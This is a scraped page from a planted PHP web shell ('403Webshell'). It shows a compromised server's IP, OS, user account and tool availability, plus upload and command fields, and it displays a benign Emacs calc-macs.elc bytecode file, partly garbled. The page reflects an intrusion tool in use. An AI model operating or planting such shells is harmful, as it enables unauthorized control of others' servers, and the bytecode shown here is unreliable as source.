403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/calc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/calc/calc-macs.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@19 

(fn &rest BODY)
(defalias 'calc-wrapper '(macro . #[128 "\300\301\302BBD\207" [calc-do lambda nil] 5 (#$ . 84)]))
#@19 

(fn &rest BODY)
(defalias 'calc-slow-wrapper '(macro . #[128 "\300\301\302BB\303BB\207" [calc-do lambda nil ((point))] 5 (#$ . 207)]))
#@13 

(fn FORM)
(defalias 'math-showing-full-precision '(macro . #[257 "\300\301E\207" [let ((calc-float-format calc-full-float-format))] 4 (#$ . 351)]))
#@25 

(fn DELTA &rest BODY)
(defalias 'math-with-extra-prec '(macro . #[385 "\300\301\302\303\302EDCBBD\207" [math-normalize let calc-internal-prec +] 8 (#$ . 508)]))
#@16 

(fn MSG ARG)
(defalias 'math-working '(macro . #[514 "\300\301\302EE\207" [if (eq calc-display-working-message 'lots) math-do-working] 7 (#$ . 680)]))
#@19 

(fn &rest BODY)
(defalias 'calc-with-default-simplification '(macro . #[128 "\300\301BB\207" [let ((calc-simplify-mode (and (not (memq calc-simplify-mode '(none num))) calc-simplify-mode)))] 4 (#$ . 841)]))
#@19 

(fn &rest BODY)
(defalias 'calc-with-trail-buffer '(macro . #[128 "\300\301\302\303\304\305\306BBEF\207" [let ((save-buf (current-buffer)) (calc-command-flags nil)) (ignore save-buf) with-current-buffer (calc-trail-display t) progn (goto-char calc-trail-pointer)] 9 (#$ . 1057)]))
#@10 

(fn A)
(defalias 'Math-zerop #[257 "\211:\203\211@\300=\203\211A@\301=\207\302!\207\211\301=\207" [float 0 math-zerop] 3 (#$ . 1348)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-zerop speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-integer-negp #[257 "\211\250\205\211\300W\207" [0] 3 (#$ . 1632)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-integer-negp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-integer-posp #[257 "\211\250\205\211\300V\207" [0] 3 (#$ . 1875)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-integer-posp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-negp #[257 "\211:\203\211@\300>\203\211A@\211\250\205\211\301W\207\302!\207\211\301W\207" [(frac float) 0 math-negp] 4 (#$ . 2118)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-negp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-looks-negp #[257 "\211\211:\203%\211@\300>\203\211A@\211\250\205\211\301W\266\202\202*\302!\262\202*\211\301W\262\206M\211:\205M\211@\303=\206M\211@\304>\205M\305A@!\206M\305\3068!\207" [(frac float) 0 math-negp neg (* /) math-looks-negp 2] 5 (#$ . 2424)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-looks-negp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-posp #[257 "\211:\203\211@\300>\203\211A@\211\250\205\211\301V\207\302!\207\211\301V\207" [(frac float) 0 math-posp] 4 (#$ . 2870)])
(byte-code "\300\301\302\303#\304\301\305\306#\210\307\310\311\"\207" [function-put Math-posp speed -1 put byte-optimizer byte-compile-inline-expand defalias Math-integerp integerp] 5)
#@10 

(fn A)
(defalias 'Math-natnump #[257 "\211\250\205\211\300Y\207" [0] 3 (#$ . 3226)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-natnump speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-ratp #[257 "\211:?\206\n\211@\300=\207" [frac] 3 (#$ . 3459)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-ratp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-realp #[257 "\211:?\206\n\211@\300>\207" [(frac float)] 3 (#$ . 3689)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-realp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-anglep #[257 "\211:?\206\n\211@\300>\207" [(frac float hms)] 3 (#$ . 3929)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-anglep speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-numberp #[257 "\211:?\206\n\211@\300>\207" [(frac float cplx polar)] 3 (#$ . 4175)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-numberp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-scalarp #[257 "\211:?\206\n\211@\300>\207" [(frac float cplx polar hms)] 3 (#$ . 4430)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-scalarp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-vectorp #[257 "\211\242\300=\207" [vec] 3 (#$ . 4689)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-vectorp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-messy-integerp #[257 "\211:\205\211@\300=\205\3018\302Y\207" [float 2 0] 3 (#$ . 4914)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-messy-integerp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-objectp #[257 "\211:?\206\n\211@\300>\207" [(frac float cplx polar hms date sdev intv mod)] 3 (#$ . 5184)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-objectp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-objvecp #[257 "\211:?\206\n\211@\300>\207" [(frac float cplx polar hms date sdev intv mod vec)] 3 (#$ . 5462)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-objvecp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-integer-neg #[257 "\211[\207" [] 2 (#$ . 5744)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-integer-neg speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@12 

(fn A B)
(defalias 'Math-equal #[514 "\300\"\301U\207" [math-compare 0] 5 (#$ . 5966)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-equal speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@12 

(fn A B)
(defalias 'Math-lessp #[514 "\300\"\301U\207" [math-compare -1] 5 (#$ . 6200)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-lessp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-primp #[257 "\211:?\206\n\211@\300>\207" [(frac float cplx polar hms date mod var)] 3 (#$ . 6435)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-primp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@10 

(fn A)
(defalias 'Math-num-integerp #[257 "\211\250\206\211:\205\211@\300=\205\3018\302Y\207" [float 2 0] 3 (#$ . 6703)])
(byte-code "\300\301\302\303#\304\301\305\306#\207" [function-put Math-num-integerp speed -1 put byte-optimizer byte-compile-inline-expand] 5)
#@12 

(fn A B)
(defalias 'Math-equal-int #[514 "=\206:\205@\300=\205A@=\205\3018\302U\207" [float 2 0] 4 (#$ . 6983)])
(byte-code "\300\301\302\303#\304\301\305\306#\210\307\310!\207" [function-put Math-equal-int speed -1 put byte-optimizer byte-compile-inline-expand provide calc-macs] 5)

Youez - 2016 - github.com/yon3zu
LinuXploit